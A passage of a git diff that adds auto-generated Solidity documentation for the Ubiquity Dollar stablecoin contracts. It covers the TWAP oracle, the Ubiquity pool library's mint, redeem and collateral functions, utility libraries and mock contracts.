+|`amountOut`|`uint256`|Token price, Dollar / 3CRV LP or 3CRV LP / Dollar quote| + + +### currentCumulativePrices + +Returns current cumulative prices from metapool with updated timestamp + + +```solidity +function currentCumulativePrices() internal view returns (uint256[2] memory priceCumulative, uint256 blockTimestamp); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`priceCumulative`|`uint256[2]`|Current cumulative prices for pool tokens| +|`blockTimestamp`|`uint256`|Current update timestamp| + + +### twapOracleStorage + +Returns struct used as a storage for this library + + +```solidity +function twapOracleStorage() internal pure returns (TWAPOracleStorage storage ds); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`TWAPOracleStorage`|Struct used as a storage| + + +### getTwapPrice + +Returns current Dollar price + +*Returns 3CRV LP / Dollar quote, i.e. how many 3CRV LP tokens user will get for 1 Dollar* + + +```solidity +function getTwapPrice() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Dollar price| + + +## Structs +### TWAPOracleStorage +Struct used as a storage for this library + + +```solidity +struct TWAPOracleStorage { + address pool; + address token1; + uint256 price0Average; + uint256 price1Average; + uint256 pricesBlockTimestampLast; + uint256[2] priceCumulativeLast; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibUbiquityPool.sol/library.LibUbiquityPool.md b/packages/contracts/docs/src/src/dollar/libraries/LibUbiquityPool.sol/library.LibUbiquityPool.md new file mode 100644 index 000000000..5f5c2a9c2 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibUbiquityPool.sol/library.LibUbiquityPool.md @@ -0,0 +1,888 @@ +# LibUbiquityPool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibUbiquityPool.sol) + +Ubiquity pool library + +Allows users to: +- deposit collateral in exchange for Ubiquity Dollars +- redeem Ubiquity Dollars in exchange for the earlier provided collateral + + +## State Variables +### UBIQUITY_POOL_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant UBIQUITY_POOL_STORAGE_POSITION = + bytes32(uint256(keccak256("ubiquity.contracts.ubiquity.pool.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### ubiquityPoolStorage + +Returns struct used as a storage for this library + + +```solidity +function ubiquityPoolStorage() internal pure returns (UbiquityPoolStorage storage uPoolStorage); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`uPoolStorage`|`UbiquityPoolStorage`|Struct used as a storage| + + +### collateralEnabled + +Checks whether collateral token is enabled (i.e. mintable and redeemable) + + +```solidity +modifier collateralEnabled(uint256 collateralIndex); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### onlyAmoMinter + +Checks whether a caller is the AMO minter address + + +```solidity +modifier onlyAmoMinter(); +``` + +### allCollaterals + +Returns all collateral addresses + + +```solidity +function allCollaterals() internal view returns (address[] memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address[]`|All collateral addresses| + + +### collateralExists + +Check if collateral token with given address already exists + + +```solidity +function collateralExists(address collateralAddress) internal view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|The collateral token address to check| + + +### collateralInformation + +Returns collateral information + + +```solidity +function collateralInformation(address collateralAddress) + internal + view + returns (CollateralInformation memory returnData); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Address of the collateral token| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`returnData`|`CollateralInformation`|Collateral info| + + +### collateralRatio + +Returns current collateral ratio + + +```solidity +function collateralRatio() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Collateral ratio| + + +### collateralUsdBalance + +Returns USD value of all collateral tokens held in the pool, in E18 + + +```solidity +function collateralUsdBalance() internal view returns (uint256 balanceTally); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`balanceTally`|`uint256`|USD value of all collateral tokens| + + +### ethUsdPriceFeedInformation + +Returns chainlink price feed information for ETH/USD pair + + +```solidity +function ethUsdPriceFeedInformation() internal view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### freeCollateralBalance + +Returns free collateral balance (i.e. that can be borrowed by AMO minters) + + +```solidity +function freeCollateralBalance(uint256 collateralIndex) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of free collateral| + + +### getDollarInCollateral + +Returns Dollar value in collateral tokens + + +```solidity +function getDollarInCollateral(uint256 collateralIndex, uint256 dollarAmount) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| +|`dollarAmount`|`uint256`|Amount of Dollars| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Value in collateral tokens| + + +### getDollarPriceUsd + +Returns Ubiquity Dollar token USD price (1e6 precision) from Curve plain pool (Stable coin, Ubiquity Dollar) +How it works: +1. Fetch Stable/USD quote from chainlink +2. Fetch Dollar/Stable quote from Curve's plain pool +3. Calculate Dollar token price in USD + + +```solidity +function getDollarPriceUsd() internal view returns (uint256 dollarPriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`dollarPriceUsd`|`uint256`|USD price of Ubiquity Dollar| + + +### getGovernancePriceUsd + +Returns Governance token price in USD (6 decimals precision) + +*How it works: +1. Fetch ETH/USD price from chainlink oracle +2. Fetch Governance/ETH price from Curve's oracle +3. Calculate Governance token price in USD* + + +```solidity +function getGovernancePriceUsd() internal view returns (uint256 governancePriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governancePriceUsd`|`uint256`|Governance token price in USD| + + +### getRedeemCollateralBalance + +Returns user's balance available for redemption + + +```solidity +function getRedeemCollateralBalance(address userAddress, uint256 collateralIndex) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| +|`collateralIndex`|`uint256`|Collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's balance available for redemption| + + +### getRedeemGovernanceBalance + +Returns user's Governance tokens balance available for redemption + + +```solidity +function getRedeemGovernanceBalance(address userAddress) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's Governance tokens balance available for redemption| + + +### governanceEthPoolAddress + +Returns pool address for Governance/ETH pair + + +```solidity +function governanceEthPoolAddress() internal view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### stableUsdPriceFeedInformation + +Returns chainlink price feed information for stable/USD pair + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function stableUsdPriceFeedInformation() internal view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### mintDollar + +Mints Dollars in exchange for collateral tokens + + +```solidity +function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne +) + internal + collateralEnabled(collateralIndex) + returns (uint256 totalDollarMint, uint256 collateralNeeded, uint256 governanceNeeded); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`dollarAmount`|`uint256`|Amount of dollars to mint| +|`dollarOutMin`|`uint256`|Min amount of dollars to mint (slippage protection)| +|`maxCollateralIn`|`uint256`|Max amount of collateral to send (slippage protection)| +|`maxGovernanceIn`|`uint256`|Max amount of Governance tokens to send (slippage protection)| +|`isOneToOne`|`bool`|Force providing only collateral without Governance tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`totalDollarMint`|`uint256`|Amount of Dollars minted| +|`collateralNeeded`|`uint256`|Amount of collateral sent to the pool| +|`governanceNeeded`|`uint256`|Amount of Governance tokens burnt from sender| + + +### redeemDollar + +Burns redeemable Ubiquity Dollars and sends back 1 USD of collateral token for every 1 Ubiquity Dollar burned + +*Redeem process is split in two steps:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block* + + +```solidity +function redeemDollar(uint256 collateralIndex, uint256 dollarAmount, uint256 governanceOutMin, uint256 collateralOutMin) + internal + collateralEnabled(collateralIndex) + returns (uint256 collateralOut, uint256 governanceOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being withdrawn| +|`dollarAmount`|`uint256`|Amount of Ubiquity Dollars being burned| +|`governanceOutMin`|`uint256`|Minimum amount of Governance tokens that'll be withdrawn, used to set acceptable slippage| +|`collateralOutMin`|`uint256`|Minimum amount of collateral tokens that'll be withdrawn, used to set acceptable slippage| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`collateralOut`|`uint256`|Amount of collateral tokens ready for redemption| +|`governanceOut`|`uint256`|| + + +### collectRedemption + +Used to collect collateral and Governance tokens after redeeming/burning Ubiquity Dollars + +*Redeem process is split in two steps:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block* + + +```solidity +function collectRedemption(uint256 collateralIndex) + internal + collateralEnabled(collateralIndex) + returns (uint256 governanceAmount, uint256 collateralAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being collected| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governanceAmount`|`uint256`|Amount of Governance tokens redeemed| +|`collateralAmount`|`uint256`|Amount of collateral tokens redeemed| + + +### updateChainLinkCollateralPrice + +Updates collateral token price in USD from ChainLink price feed + + +```solidity +function updateChainLinkCollateralPrice(uint256 collateralIndex) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### amoMinterBorrow + +Allows AMO minters to borrow collateral to make yield in external +protocols like Compound, Curve, erc... + +*Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral* + + +```solidity +function amoMinterBorrow(uint256 collateralAmount) internal onlyAmoMinter; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAmount`|`uint256`|Amount of collateral to borrow| + + +### addAmoMinter + +Adds a new AMO minter + + +```solidity +function addAmoMinter(address amoMinterAddress) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address| + + +### addCollateralToken + +Adds a new collateral token + + +```solidity +function addCollateralToken(address collateralAddress, address chainLinkPriceFeedAddress, uint256 poolCeiling) + internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|Chainlink's price feed address| +|`poolCeiling`|`uint256`|Max amount of available tokens for collateral| + + +### removeAmoMinter + +Removes AMO minter + + +```solidity +function removeAmoMinter(address amoMinterAddress) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address to remove| + + +### setCollateralChainLinkPriceFeed + +Sets collateral ChainLink price feed params + + +```solidity +function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold +) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|ChainLink price feed address| +|`stalenessThreshold`|`uint256`|Threshold in seconds when chainlink answer should be considered stale| + + +### setCollateralRatio + +Sets collateral ratio + +*How much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision.* + +*Collateral ratio is capped to 100%.* + +*Example (1_000_000 = 100%): +- Mint: user provides 1 collateral token to get 1 Dollar +- Redeem: user gets 1 collateral token for 1 Dollar* + +*Example (900_000 = 90%): +- Mint: user provides 0.9 collateral token and 0.1 Governance token to get 1 Dollar +- Redeem: user gets 0.9 collateral token and 0.1 Governance token for 1 Dollar* + + +```solidity +function setCollateralRatio(uint256 newCollateralRatio) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newCollateralRatio`|`uint256`|New collateral ratio| + + +### setEthUsdChainLinkPriceFeed + +Sets chainlink params for ETH/USD price feed + + +```solidity +function setEthUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for ETH/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale| + + +### setFees + +Sets mint and redeem fees, 1_000_000 = 100% + + +```solidity +function setFees(uint256 collateralIndex, uint256 newMintFee, uint256 newRedeemFee) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newMintFee`|`uint256`|New mint fee| +|`newRedeemFee`|`uint256`|New redeem fee| + + +### setGovernanceEthPoolAddress + +Sets a new pool address for Governance/ETH pair + +*Based on Curve's CurveTwocryptoOptimized contract. Used for fetching Governance token USD price. +How it works: +1. Fetch Governance/ETH price from CurveTwocryptoOptimized's built-in oracle +2. Fetch ETH/USD price from chainlink feed +3. Calculate Governance token price in USD* + + +```solidity +function setGovernanceEthPoolAddress(address newGovernanceEthPoolAddress) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newGovernanceEthPoolAddress`|`address`|New pool address for Governance/ETH pair| + + +### setPoolCeiling + +Sets max amount of collateral for a particular collateral token + + +```solidity +function setPoolCeiling(uint256 collateralIndex, uint256 newCeiling) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newCeiling`|`uint256`|Max amount of collateral| + + +### setPriceThresholds + +Sets mint and redeem price thresholds, 1_000_000 = $1.00 + + +```solidity +function setPriceThresholds(uint256 newMintPriceThreshold, uint256 newRedeemPriceThreshold) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newMintPriceThreshold`|`uint256`|New mint price threshold| +|`newRedeemPriceThreshold`|`uint256`|New redeem price threshold| + + +### setRedemptionDelayBlocks + +Sets a redemption delay in blocks + +*Redeeming is split in 2 actions:* + +*1. `redeemDollar()`* + +*2. `collectRedemption()`* + +*`newRedemptionDelayBlocks` sets number of blocks that should be mined after which user can call `collectRedemption()`* + + +```solidity +function setRedemptionDelayBlocks(uint256 newRedemptionDelayBlocks) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newRedemptionDelayBlocks`|`uint256`|Redemption delay in blocks| + + +### setStableUsdChainLinkPriceFeed + +Sets chainlink params for stable/USD price feed + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function setStableUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for stable/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's stable/USD price feed answer should be considered stale| + + +### toggleCollateral + +Toggles (i.e. enables/disables) a particular collateral token + + +```solidity +function toggleCollateral(uint256 collateralIndex) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### toggleMintRedeemBorrow + +Toggles pause for mint/redeem/borrow methods + + +```solidity +function toggleMintRedeemBorrow(uint256 collateralIndex, uint8 toggleIndex) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`toggleIndex`|`uint8`|Method index. 0 - toggle mint pause, 1 - toggle redeem pause, 2 - toggle borrow by AMO pause| + + +## Events +### AmoMinterAdded +Emitted when new AMO minter is added + + +```solidity +event AmoMinterAdded(address amoMinterAddress); +``` + +### AmoMinterRemoved +Emitted when AMO minter is removed + + +```solidity +event AmoMinterRemoved(address amoMinterAddress); +``` + +### CollateralPriceFeedSet +Emitted on setting a chainlink's collateral price feed params + + +```solidity +event CollateralPriceFeedSet(uint256 collateralIndex, address priceFeedAddress, uint256 stalenessThreshold); +``` + +### CollateralPriceSet +Emitted on setting a collateral price + + +```solidity +event CollateralPriceSet(uint256 collateralIndex, uint256 newPrice); +``` + +### CollateralRatioSet +Emitted on setting a collateral ratio + + +```solidity +event CollateralRatioSet(uint256 newCollateralRatio); +``` + +### CollateralToggled +Emitted on enabling/disabling a particular collateral token + + +```solidity +event CollateralToggled(uint256 collateralIndex, bool newState); +``` + +### EthUsdPriceFeedSet +Emitted on setting chainlink's price feed for ETH/USD pair + + +```solidity +event EthUsdPriceFeedSet(address newPriceFeedAddress, uint256 newStalenessThreshold); +``` + +### FeesSet +Emitted when fees are updated + + +```solidity +event FeesSet(uint256 collateralIndex, uint256 newMintFee, uint256 newRedeemFee); +``` + +### GovernanceEthPoolSet +Emitted on setting a pool for Governance/ETH pair + + +```solidity +event GovernanceEthPoolSet(address newGovernanceEthPoolAddress); +``` + +### MintRedeemBorrowToggled +Emitted on toggling pause for mint/redeem/borrow + + +```solidity +event MintRedeemBorrowToggled(uint256 collateralIndex, uint8 toggleIndex); +``` + +### PoolCeilingSet +Emitted when new pool ceiling (i.e. max amount of collateral) is set + + +```solidity +event PoolCeilingSet(uint256 collateralIndex, uint256 newCeiling); +``` + +### PriceThresholdsSet +Emitted when mint and redeem price thresholds are updated (1_000_000 = $1.00) + + +```solidity +event PriceThresholdsSet(uint256 newMintPriceThreshold, uint256 newRedeemPriceThreshold); +``` + +### RedemptionDelayBlocksSet +Emitted when a new redemption delay in blocks is set + + +```solidity +event RedemptionDelayBlocksSet(uint256 redemptionDelayBlocks); +``` + +### StableUsdPriceFeedSet +Emitted on setting chainlink's price feed for stable/USD pair + + +```solidity +event StableUsdPriceFeedSet(address newPriceFeedAddress, uint256 newStalenessThreshold); +``` + +## Structs +### UbiquityPoolStorage +Struct used as a storage for this library + + +```solidity +struct UbiquityPoolStorage { + mapping(address amoMinter => bool isEnabled) isAmoMinterEnabled; + address[] collateralAddresses; + mapping(address collateralAddress => uint256 collateralIndex) collateralIndex; + address[] collateralPriceFeedAddresses; + uint256[] collateralPriceFeedStalenessThresholds; + uint256[] collateralPrices; + uint256 collateralRatio; + string[] collateralSymbols; + mapping(address collateralAddress => bool isEnabled) isCollateralEnabled; + uint256[] missingDecimals; + uint256[] poolCeilings; + mapping(address => uint256) lastRedeemedBlock; + uint256 mintPriceThreshold; + uint256 redeemPriceThreshold; + mapping(address user => mapping(uint256 collateralIndex => uint256 amount)) redeemCollateralBalances; + mapping(address user => uint256 amount) redeemGovernanceBalances; + uint256 redemptionDelayBlocks; + uint256[] unclaimedPoolCollateral; + uint256 unclaimedPoolGovernance; + uint256[] mintingFee; + uint256[] redemptionFee; + bool[] isBorrowPaused; + bool[] isMintPaused; + bool[] isRedeemPaused; + address ethUsdPriceFeedAddress; + uint256 ethUsdPriceFeedStalenessThreshold; + address governanceEthPoolAddress; + address stableUsdPriceFeedAddress; + uint256 stableUsdPriceFeedStalenessThreshold; +} +``` + +### CollateralInformation +Struct used for detailed collateral information + + +```solidity +struct CollateralInformation { + uint256 index; + string symbol; + address collateralAddress; + address collateralPriceFeedAddress; + uint256 collateralPriceFeedStalenessThreshold; + bool isEnabled; + uint256 missingDecimals; + uint256 price; + uint256 poolCeiling; + bool isMintPaused; + bool isRedeemPaused; + bool isBorrowPaused; + uint256 mintingFee; + uint256 redemptionFee; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/README.md b/packages/contracts/docs/src/src/dollar/libraries/README.md new file mode 100644 index 000000000..03252df96 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/README.md @@ -0,0 +1,26 @@ + + +# Contents +- [AddressUtils](AddressUtils.sol/library.AddressUtils.md) +- [Constants](Constants.sol/constants.Constants.md) +- [LibAccessControl](LibAccessControl.sol/library.LibAccessControl.md) +- [AppStorage](LibAppStorage.sol/struct.AppStorage.md) +- [LibAppStorage](LibAppStorage.sol/library.LibAppStorage.md) +- [Modifiers](LibAppStorage.sol/contract.Modifiers.md) +- [LibBondingCurve](LibBondingCurve.sol/library.LibBondingCurve.md) +- [LibChef](LibChef.sol/library.LibChef.md) +- [LibCollectableDust](LibCollectableDust.sol/library.LibCollectableDust.md) +- [LibCreditClock](LibCreditClock.sol/library.LibCreditClock.md) +- [LibCreditNftManager](LibCreditNftManager.sol/library.LibCreditNftManager.md) +- [LibCreditNftRedemptionCalculator](LibCreditNftRedemptionCalculator.sol/library.LibCreditNftRedemptionCalculator.md) +- [LibCreditRedemptionCalculator](LibCreditRedemptionCalculator.sol/library.LibCreditRedemptionCalculator.md) +- [LibCurveDollarIncentive](LibCurveDollarIncentive.sol/library.LibCurveDollarIncentive.md) +- [InitializationFunctionReverted](LibDiamond.sol/error.InitializationFunctionReverted.md) +- [LibDiamond](LibDiamond.sol/library.LibDiamond.md) +- [LibDirectGovernanceFarmer](LibDirectGovernanceFarmer.sol/library.LibDirectGovernanceFarmer.md) +- [LibDollarMintCalculator](LibDollarMintCalculator.sol/library.LibDollarMintCalculator.md) +- [LibDollarMintExcess](LibDollarMintExcess.sol/library.LibDollarMintExcess.md) +- [LibStaking](LibStaking.sol/library.LibStaking.md) +- [LibStakingFormulas](LibStakingFormulas.sol/library.LibStakingFormulas.md) +- [LibUbiquityPool](LibUbiquityPool.sol/library.LibUbiquityPool.md) +- [UintUtils](UintUtils.sol/library.UintUtils.md) diff --git a/packages/contracts/docs/src/src/dollar/libraries/UintUtils.sol/library.UintUtils.md b/packages/contracts/docs/src/src/dollar/libraries/UintUtils.sol/library.UintUtils.md new file mode 100644 index 000000000..704b500d6 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/UintUtils.sol/library.UintUtils.md @@ -0,0 +1,81 @@ +# UintUtils +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/UintUtils.sol) + +*Derived from https://github.com/OpenZeppelin/openzeppelin-contracts/ (MIT license)* + +*https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/utils/UintUtils.sol* + + +## State Variables +### HEX_SYMBOLS +Hex symbols + + +```solidity +bytes16 private constant HEX_SYMBOLS = "0123456789abcdef"; +``` + + +## Functions +### add + +Returns the addition of two unsigned integers, reverting on +overflow. +Counterpart to Solidity's `+` operator. +Requirements: +- Addition cannot overflow. + + +```solidity +function add(uint256 a, int256 b) internal pure returns (uint256); +``` + +### sub + +Returns the subtraction of two unsigned integers, reverting on +overflow (when the result is negative). +Counterpart to Solidity's `-` operator. +Requirements: +- Subtraction cannot overflow. + + +```solidity +function sub(uint256 a, int256 b) internal pure returns (uint256); +``` + +### toString + +Converts a `uint256` to its ASCII `string` decimal representation. + + +```solidity +function toString(uint256 value) internal pure returns (string memory); +``` + +### toHexString + +Converts a `uint256` to its ASCII `string` decimal representation. + + +```solidity +function toHexString(uint256 value) internal pure returns (string memory); +``` + +### toHexString + +Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + + +```solidity +function toHexString(uint256 value, uint256 length) internal pure returns (string memory); +``` + +## Errors +### UintUtils__InsufficientHexLength +Thrown on insufficient hex length in `toHexString()` + + +```solidity +error UintUtils__InsufficientHexLength(); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockBondingShareV2.sol/contract.MockBondingShareV2.md b/packages/contracts/docs/src/src/dollar/mocks/MockBondingShareV2.sol/contract.MockBondingShareV2.md new file mode 100644 index 000000000..6196e42cf --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockBondingShareV2.sol/contract.MockBondingShareV2.md @@ -0,0 +1,245 @@ +# MockBondingShareV2 +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/7de99efbd24b43cb89b03b0f63c9241a23e6a660/src/dollar/mocks/MockBondingShareV2.sol) + +**Inherits:** +ERC1155, ERC1155Burnable, ERC1155Pausable + + +## State Variables +### manager + +```solidity +IUbiquityDollarManager public manager; +``` + + +### _holderBalances + +```solidity +mapping(address => uint256[]) private _holderBalances; +``` + + +### _bonds + +```solidity +mapping(uint256 => Bond) private _bonds; +``` + + +### _totalLP + +```solidity +uint256 private _totalLP; +``` + + +### _totalSupply + +```solidity +uint256 private _totalSupply; +``` + + +## Functions +### onlyMinter + + +```solidity +modifier onlyMinter(); +``` + +### onlyBurner + + +```solidity +modifier onlyBurner(); +``` + +### onlyPauser + + +```solidity +modifier onlyPauser(); +``` + +### constructor + +*constructor* + + +```solidity +constructor(address _manager, string memory uri) ERC1155(uri); +``` + +### updateBond + +*update bond LP amount , LP rewards debt and end block.* + + +```solidity +function updateBond(uint256 _bondId, uint256 _lpAmount, uint256 _lpRewardDebt, uint256 _endBlock) + external + onlyMinter + whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_bondId`|`uint256`|bonding share id| +|`_lpAmount`|`uint256`|amount of LP token deposited| +|`_lpRewardDebt`|`uint256`|amount of excess LP token inside the bonding contract| +|`_endBlock`|`uint256`|end locking period block number| + + +### mint + + +```solidity +function mint(address to, uint256 lpDeposited, uint256 lpRewardDebt, uint256 endBlock) + public + virtual + onlyMinter + whenNotPaused + returns (uint256 id); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|owner address| +|`lpDeposited`|`uint256`|amount of LP token deposited| +|`lpRewardDebt`|`uint256`|amount of excess LP token inside the bonding contract| +|`endBlock`|`uint256`|block number when the locking period ends| + + +### pause + +*Pauses all token transfers. +See {ERC1155Pausable} and {Pausable-_pause}.* + + +```solidity +function pause() public virtual onlyPauser; +``` + +### unpause + +*Unpauses all token transfers. +See {ERC1155Pausable} and {Pausable-_unpause}.* + + +```solidity +function unpause() public virtual onlyPauser; +``` + +### safeTransferFrom + +*See {IERC1155-safeTransferFrom}.* + + +```solidity +function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) + public + override + whenNotPaused; +``` + +### safeBatchTransferFrom + +*See {IERC1155-safeBatchTransferFrom}.* + + +```solidity +function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) public virtual override whenNotPaused; +``` + +### totalSupply + +*Total amount of tokens .* + + +```solidity +function totalSupply() public view virtual returns (uint256); +``` + +### totalLP + +*Total amount of LP tokens deposited.* + + +```solidity +function totalLP() public view virtual returns (uint256); +``` + +### getBond + +*return bond details.* + + +```solidity +function getBond(uint256 id) public view returns (Bond memory); +``` + +### holderTokens + +*array of token Id held by the msg.sender.* + + +```solidity +function holderTokens(address holder) public view returns (uint256[] memory); +``` + +### _burn + + +```solidity +function _burn(address account, uint256 id, uint256 amount) internal virtual override whenNotPaused; +``` + +### _burnBatch + + +```solidity +function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) + internal + virtual + override + whenNotPaused; +``` + +### _beforeTokenTransfer + + +```solidity +function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) internal virtual override(ERC1155, ERC1155Pausable); +``` + +## Structs +### Bond + +```solidity +struct Bond { + address minter; + uint256 lpFirstDeposited; + uint256 creationBlock; + uint256 lpRewardDebt; + uint256 endBlock; + uint256 lpAmount; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockChainLinkFeed.sol/contract.MockChainLinkFeed.md b/packages/contracts/docs/src/src/dollar/mocks/MockChainLinkFeed.sol/contract.MockChainLinkFeed.md new file mode 100644 index 000000000..23e775cb1 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockChainLinkFeed.sol/contract.MockChainLinkFeed.md @@ -0,0 +1,106 @@ +# MockChainLinkFeed +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockChainLinkFeed.sol) + +**Inherits:** +AggregatorV3Interface + + +## State Variables +### roundId + +```solidity +uint80 roundId; +``` + + +### answer + +```solidity +int256 answer; +``` + + +### startedAt + +```solidity +uint256 startedAt; +``` + + +### updatedAt + +```solidity +uint256 updatedAt; +``` + + +### answeredInRound + +```solidity +uint80 answeredInRound; +``` + + +### decimals + +```solidity +uint8 public decimals; +``` + + +## Functions +### constructor + + +```solidity +constructor(); +``` + +### description + + +```solidity +function description() external pure override returns (string memory); +``` + +### version + + +```solidity +function version() external pure override returns (uint256); +``` + +### getRoundData + + +```solidity +function getRoundData(uint80) external view override returns (uint80, int256, uint256, uint256, uint80); +``` + +### latestRoundData + + +```solidity +function latestRoundData() external view override returns (uint80, int256, uint256, uint256, uint80); +``` + +### updateDecimals + + +```solidity +function updateDecimals(uint8 _newDecimals) public; +``` + +### updateMockParams + + +```solidity +function updateMockParams( + uint80 _roundId, + int256 _answer, + uint256 